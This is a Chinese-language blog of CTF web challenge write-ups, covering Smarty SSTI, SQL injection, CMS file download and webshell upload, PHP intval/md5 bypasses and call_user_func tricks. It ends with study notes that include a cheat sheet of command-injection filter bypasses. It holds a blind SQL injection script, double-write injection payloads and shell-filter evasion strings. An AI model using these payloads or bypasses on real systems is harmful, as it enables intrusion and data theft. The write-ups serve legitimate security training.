[HDCTF 2023]SearchMaster
打开环境,首先的提示信息就是告诉我们,可以用post传参的方式来传入参数data
首先考虑的还是rce,但是这里发现,不管输入那种命令,它都会直接显示在中间的那一小行里面,而实际的命令却无法被执行,说明是有条件限制的rce
那么这里又考虑题目给的提示信息,模版。所以考虑ssti注入,在注入开始之前先看看后台还有什么文件。
发现有一个composer.json
文件,这个文件里面会有php项目中的配置文件信息
查看可知,使用的模板smarty,这里smarty模板是php的一个模板,一般来说呢,遇到这个模板都是用{if}来包裹,大概原因如下:
Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*, or, &&, and, is_array(), 等等
这里还是先判断
出现报错,说明这个参数的内容是可以被执行的,这里因为已经判断出来模板是smarty了,所以就不再测试7*7了
直接构造
发现在当前目录下没什么有用东西,看看根目录
发现flag相关文件,查看
获得了flag的内容
如果说,在一开始无法判断模板是哪个,那就还是经典的
以这道题举例子
也可以判断出是smarty模板
[SWPUCTF 2022 新生赛]js_sign
进来就是一个输入框,发现输入内容都是一些flag的内容
因为题目给了和js有关,所以用查看器看一下
发现有一个js文件,而且那个输入框就是让输入flag的相关内容,在这个js文件里面给了提示信息,先看看这段base64的内容
这里解码出来的提示是敲击码,所以推测flag的内容应该就是以这种方式加密的,解码看看
得到了flag的内容
[FSCTF 2023]源码!启动!
f12和右键被禁用了,可以用用ctrl u 或者view-source看源码,flag就在源码里面,没什么好说的。
[CISCN 2019华北Day2]Web1
进来就是一个注入口,尝试输入1,回显了下面那句话
2也是
到3报错,到后面的4,5,6都是报错,那在这里尝试输入字母zxc
与上面不同的是这里提示的是错误是类型错误,这里基本可以猜测是字符型注入了
单引号判断
到这里基本可以确定是数字型注入了,根据题目所给的信息,尝试使用union联注查一下,flag表和flag列的信息
提示有sql信息被检测
说明这里应该是检测到了某些sql语句的字段,过滤了某些字段,这里我的思路是用fuzz测试看看过滤了什么
485长度的都是被过滤的内容,其中 union、select、extracvalue、updatexml、sleep等常见注入关键字全部都被过滤。也就是说union联注基本是不用想了,这里根据之前的报错信息尝试布尔盲注。
经过尝试,提交:if(1=2,1,2)时,返回如下
发现它这里使用if语句以后,对应2的返回值 那么这里构造语句:
if(ascii(substr((select(flag)from(flag)),1,1))=ascii(‘f’),1,2)
如果列中第一个字符为不为‘f’,那么就会返回2的返回值‘Do you want to be my girlfriend?’
参考其他大佬的wp写脚本
import requests# 网站路径
url = "http://node4.anna.nssctf.cn:28278/index.php"# 枚举字符的payload
payload_str = "(select(ascii(substr(flag,{l},1))={n})from(flag))"# post请求参数
data= {"id":payload_str}# 枚举字符
def getFlag():flag = ''# 从第一个字符开始截取for i in range(1,100):# 枚举字符的每一种可能性for n in range(32, 126):data["id"] = payload_str.format(l=i, n=n)response = requests.post(url=url, data=data)if 'Hello' in response.text:flag += chr(n)print(flag)breakif flag[-1] == '}':breakif __name__ == '__main__':getFlag()
就能跑出flag(这里requests库需要安装)
[GKCTF 2021]easycms
找了一下当前页面,没有发现什么注入点,所以这里选择使用dirsearch扫描一下后台看看,有没有其他提示文件
用御剑也可以
访问以后呢得到了
本来想爆破的或者看看有没有sql注入点,但是这里试了一下弱口令,试出来了 admin 12345
进入了下一个页面
本来我的思路是看看有没有就是那种存储型或者反射型的xxs,或者某个位置是否存在sql注入,或者说有没有文件上传的点,但是经过测试发现,很多页面都是静态的,直接就没有后端去处理那些数据,直接就跳转回一开始的页面,然后在,看了其他大佬的wp后,才知道这里的注入点在
设计 自定义 导出
方法一:任意文件下载
随便填写一下导出成功以后,就在它的url里面截获了一串base64编码,这里解码发现,是绝对路径,那么这里用到的知识点就是任意文件下载
那这里就尝试改一下theme=后面的内容,改成/flag,并且用base64编码,尝试读取flag文件
下载成功以后,改后缀为txt查看,或者放到010里面,可以读取到里面的内容
方法二:文件上传
在设计 首页 自定义 ,发现可以写入php代码,那么就考虑写个木马上去
但是发现,这个用户的权限不够,要管理员权限才能上传
但是它这里的验证也不是很难,所以我们去尝试创建这个文件看看能不能绕过
随便传个文件,然后编辑改名字
然后就可以写入木马了,现在就可以成功保存了
然后再一开始出现ppt的地方就跳flag了
(获得管理员权限的时候,素材库是一个可以注入的点,这里还尝试了然后去设置中的微信设置,随便写点东西然后保存,但是无法保存,所以无法从那里注入)
然后这里还用到了lfi
使用相对路径进行读取
通过./表示当前位置路径,../表示上一级路径位置,在linux中同样适用。
这个用在了对管理员那个文件的保存位置
方法三:
在方法二的基础上取得了管理员的权限
在高级里面,可以改代码
[WUSTCTF 2020]朴实无华
进来以后,没有什么提示信息,源代码里面也没有什么东西,就要两个词的提示,所以这里选择扫一下后台看看有没有可以用的文件信息
这里扫到一个robots.txt,访问一下看看
发现有一个提示的和flag有关的文件
在这里是没有什么信息,但是一般来讲,这种页面应该都有提示的信息,所以这里选择抓包看看,有没有什么信息被忽略
发现在返回内容中,有一个可疑文件,访问看看
代码审计,总共需要绕过三层代码
第一层,是intval函数的绕过
我们需要传递一个 字符串 作为 $num 的值使得判断语句成立以 使得程序继续进行,而不是因为 die() 函数 的执行而停止。
从逻辑上来说,没有一个数值(字符串形式)可以使得 $num 满足判断语句。但intval() 在某些 PHP 版本中 对使用科学计数法的数值(字符串)无法正常解析,这也就产生了绕过的可能。
$num 在第二个 intval() 函数中以 表达式 的形式出现,字符串在与数值进行运算时,PHP 会将字符串转化为数值。使用科学计数法的数值(字符串) 在某些版本中无法被 intval() 正确解析,但 PHP 是认得它的,在与数值 1 进行加法运算时,$num 将被 PHP 正确解析。于是,我们尝试将 $num="1e4"。
成功绕过第一层。
第二层
发现md5
加密,很明显会是md5
的绕过,发现关键代码为$md5==md5($md5)
,这个形式的绕过还是很常见的,只要搜索md5绕过就能找到paylaod
。绕过的原理就是加密前后都是0e
开头的字符串,在php弱比较类型中是相等的。强比较也就是===
就不能用了。
所以这里就只需找到一个以0x开头的字符串,并且后md5加密以后也以0x开头的字符串。这里使用0e215962017
关于MD5_md5值只有16进制吗-CSDN博客
第三层
这里cat被过滤了
然后这里直接把参数放到了执行命令的函数里面,所以这里直接对参数传入命令就可以了,这里空格也被过滤,所以可以用%09进行绕过,cat可以用tac进行绕过
得到了flag
[SWPUCTF 2022 新生赛]numgame
进来什么东西都没有,源代码也没东西,尝试扫后台
扫出来一个flag.php,但是没什么用,因为里面也没什么实质的内容,抓包看看
在代码此处有一段src标签,好像是一个js的代码,但是利于工具看的时候,页面并没有对应回显,看起来是个路径,可以访问一下
访问以后发现有段类似flag的东西
解码以后发现,是一个文件(试过,不是flag)
进入到代码审计
call_user_func()
:把第一个参数作为回调函数调用
preg_match("/n|c/m",$_GET['p'], $matches)
:过滤字符n
和c
,\m
模式是多行匹配。由于PHP语言本身不区分大小写,故这里可以大小写绕过。
接下来,定义了一个名为`nss`的类,其中有一个名为`ctf()`的静态方法。包含了hint2.php
在接下来的代码中,通过`isset($_GET['p'])`检查`$_GET['p']`是否存在。如果存在,就进入下一层判断。
在第6行代码中,使用`preg_match()`函数对`$_GET['p']`进行正则匹配,判断其是否含有字母`n`或`c`。如果匹配成功,就输出`"no"`并结束脚本的执行。
在第7行代码中,使用了`call_user_func()`函数,根据`$_GET['p']`的值调用对应的函数。`call_user_func()`函数用于调用一个回调函数。这里回调函数的名称由`$_GET['p']`指定。
这里要学习一个新的运算符 ::双冒号运算符
我们可以直接利用双冒号运算符去访问类中的方法,因为正则表达式中匹配到了n和c,但是用到的修饰符是/m多文本匹配,所以我们可以采用大小写来绕过
尝试构造payload:
?p=Nss::Ctf
输出了hint2.php的内容说明思路对了,那么根据提示,调用nss2
得到了flag
[SWPUCTF 2022 新生赛]ez_sql
进来给了提示,就是sql注入的参数,因为提示说了相对安全的方式,首先想到的是post传参,当然这里也选择使用get传参来试试看看有没有注入点
给了提示,说明get传参的方式行不通。
页面有回显
单引号判断,可以确认是字符型注入
判断列数,发现报错,说明应该是语句的某些部分被过滤了,fuzz测试一下看看
通过测试可知,order和union这些语句还有空格被过滤了,但是select那些命令没有,所以这里选择使用双写绕过,和使用/**/来绕过
判断列数时,到4时开始报错,发现为3个字段
回显位为2,3
现在开始查库名:nss=3'/**/ununionion/**/select/**/1,2,database()#
找到了库,爆表,发现双写绕过没有用
后面才发现原来是or被过滤了,所以这里选择,直接双写绕过这部分
nss=3'/**/ununionion/**/select/**/1,database(),group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db';#
爆字段:
nss=3'/**/ununionion/**/select/**/1,database(),group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb';#
看看可疑那个flag文件的内容
发现格式和前面几个差不多,交了,假的,再试试上一个secr3t
nss=3'/**/ununionion/**/select/**/1,2,group_concat(Secr3t)/**/from/**/NSS_tb;#
得到了flag
知识点:
composer.json
文件
composer.json
文件是用于描述和配置 PHP 项目所需依赖和其他元数据的文件,通常与 Composer 工具一起使用。以下是它的主要作用和功能:
-
依赖管理:
- 描述项目依赖:
composer.json
文件列出了项目所需的所有依赖包及其版本信息。这些依赖可以是其他 PHP 库、框架或工具,甚至是本地项目或者内部私有的代码库。 - 自动安装:Composer 根据
composer.json
文件中的依赖描述,自动下载和安装所有必需的依赖包及其依赖关系。这简化了依赖管理和项目部署过程。
- 描述项目依赖:
-
项目配置:
- 自定义配置:除了依赖管理外,
composer.json
文件还可以包含项目的自定义配置,如项目名称、描述、作者信息、许可证、项目类型等。 - 脚本执行:可以配置 Composer 在安装、更新依赖或者发布过程中执行的脚本,例如自动更新缓存、生成自动加载文件等操作。
- 自定义配置:除了依赖管理外,
-
版本控制:
- 版本约束:通过
composer.json
文件可以指定每个依赖包的版本约束,确保项目在不同环境中的一致性和稳定性。 - 更新策略:可以配置依赖包是否可以自动更新到新的稳定版本或者仅更新到指定的特定版本。
- 版本约束:通过
-
自动加载:
- PSR-4 自动加载:Composer 会根据
composer.json
文件中定义的 PSR-4 自动加载规则,自动生成自动加载器,简化了 PHP 类和文件的引入和加载过程。
- PSR-4 自动加载:Composer 会根据
-
包发布和分发:
- 共享和发布:将项目打包为可发布的状态,可以在 Composer 包库(如 Packagist)上注册和发布,使其他开发者可以方便地安装和使用该包。
composer.json
文件在 PHP 项目中扮演着关键的角色,通过清晰地定义项目的依赖关系和配置信息,使得开发者能够更加高效、规范地管理和部署项目的依赖项,并且促进了 PHP 生态系统中包的重用和共享。
任意文件读取漏洞:
一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是源代码文件,配置文件,敏感文件等等。
任意文件读取会造成(敏感)信息泄露:
任意文件读取很多情况是由于其他漏洞引发的,如,RCE、目录遍历、文件包含等。
任意文件读取与任意文件下载本质上没有区别,信息都是从服务端流向浏览器的。
任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。
参考:
任意文件读取及漏洞复现_复现mysql的任意文件读取漏洞、身份认证漏洞等-CSDN博客
任意文件读取 下载漏洞总结_任意文件下载漏洞-CSDN博客
cms:
CMS是“Content Management System”的缩写,意为“内容管理系统”。网站的开发者为了方便,制作了不同种类的CMS,可以加快网站开发的速度和减少开发的成本。
常见的CMS:
php类cms系统:dedecms、帝国cms、php168、phpcms、cmstop、discuz、phpwind等
asp类cms系统:zblog、KingCMS等
国外的著名cms系统:joomla、WordPress 、magento、drupal 、mambo。
CMS是什么?好的网站后台有什么特质?-CSDN博客
intval函数的绕过:
intval()
函数是一个常用的 PHP 内置函数,用于将变量的值转换为整数(integer)。它的基本语法是:
intval( $var, $base = 10 );
其中:
$var
是要转换为整数的变量,可以是数字型字符串、浮点数或其他类型的变量。$base
是可选参数,用于指定进制,可以是 2 到 36 之间的任意整数。如果不指定$base
,默认为 10。
主要功能和用途:
-
将字符串转换为整数:
- 如果
$var
是以数字形式存在的字符串(如"123"
),intval()
会将其转换为整数123
。 - 如果
$var
是包含非数字字符的字符串(如"123abc"
),intval()
会截取字符串中第一个有效的数字段,例如"123"
。
- 如果
-
处理浮点数:
- 对于浮点数,
intval()
会截取其整数部分,并将其转换为整数。例如,对于3.14
,intval()
返回3
。
- 对于浮点数,
-
处理其他数据类型:
- 如果
$var
是布尔值true
,intval()
返回1
;如果是布尔值false
或者null
,返回0
。 - 对于对象,
intval()
尝试调用对象的__toString()
方法,然后再转换为整数。
- 如果
-
进制转换:
- 如果指定了
$base
参数,intval()
将按照指定的进制将字符串转换为整数。例如,intval('A', 16)
将返回10
,因为A
在十六进制中表示10
。
- 如果指定了
-
处理异常情况:
- 当转换的结果超出 PHP 整数的表示范围时,
intval()
返回一个浮点数(在 32 位系统上)或者一个大整数(在 64 位系统上)。
- 当转换的结果超出 PHP 整数的表示范围时,
PHP7.2.5 版本及以上
intval()
在 PHP7.2.5 及以上版本,
e 与 E 均表示 科学计数法(Scientific Notation)。科学计数法由 基数 和 指数 两部分组成,常用于 表示非常大或非常小的数值。
在科学计数法中,基数 通常 是一个浮点数,介于 1 到 10 之间,而指数是一个整数,表示要将基数乘以 10 的多少次方。基数与指数之间以字符 e 或 E 进行分隔。
该函数可以利用其特性进行绕过。根据菜鸟教程给的实例,发现字母可以阻断函数的识别,只会输出字母之前的内容,所以前面的判断很容易绕过。后面的判断不妨可以自己测试一下,带有e的科学计数法形式的字符串,很多都可以通过这个判断,但是php的环境必须为7.0以下,否则字符串会和数字解析为相同的正确的结果。
在朴实无华那题中,当使用科学计数法来判断num<2020时,11e3会被强制转换为int类型,相当于11,但是当用这种办法来判断+1时,科学计数法就会被解析出来11e3+1就是11001,这样就进行了绕过
在 PHP7.2.5 以下的某个版本
以前,intval()
函数无法正确解析字符 E
或 e
,于是 intval
在解析到 E
或 e
时立即停止,这导致科学计数法实际并未生效。
过滤
过滤关键字,如过滤 cat,flag等关键字
替代法
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
使用转义符号
ca\t /fl\ag
cat fl''ag
拼接法
a=fl;b=ag;cat$IFS$a$b
使用空变量$*和$@,$x,${x}绕过
ca$*t flag
编码绕过
1、Base64
`echo 'Y2F0Cg==' | base64 -d`
2、8进制
3、16进制
过滤空格
%09(url传递)(cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>/flag)
<(cat</flag)
{cat,flag}
过滤分割符 | & ;
; //分号| //只执行后面那条命令|| //只执行前面那条命令& //两条命令都会执行&& //两条命令都会执行%0a //换行符%0d //回车符号用?>代替;在php中可以用?>来代替最后的一个;,因为php遇到定界符关闭标签会自动在末尾加上一个分号。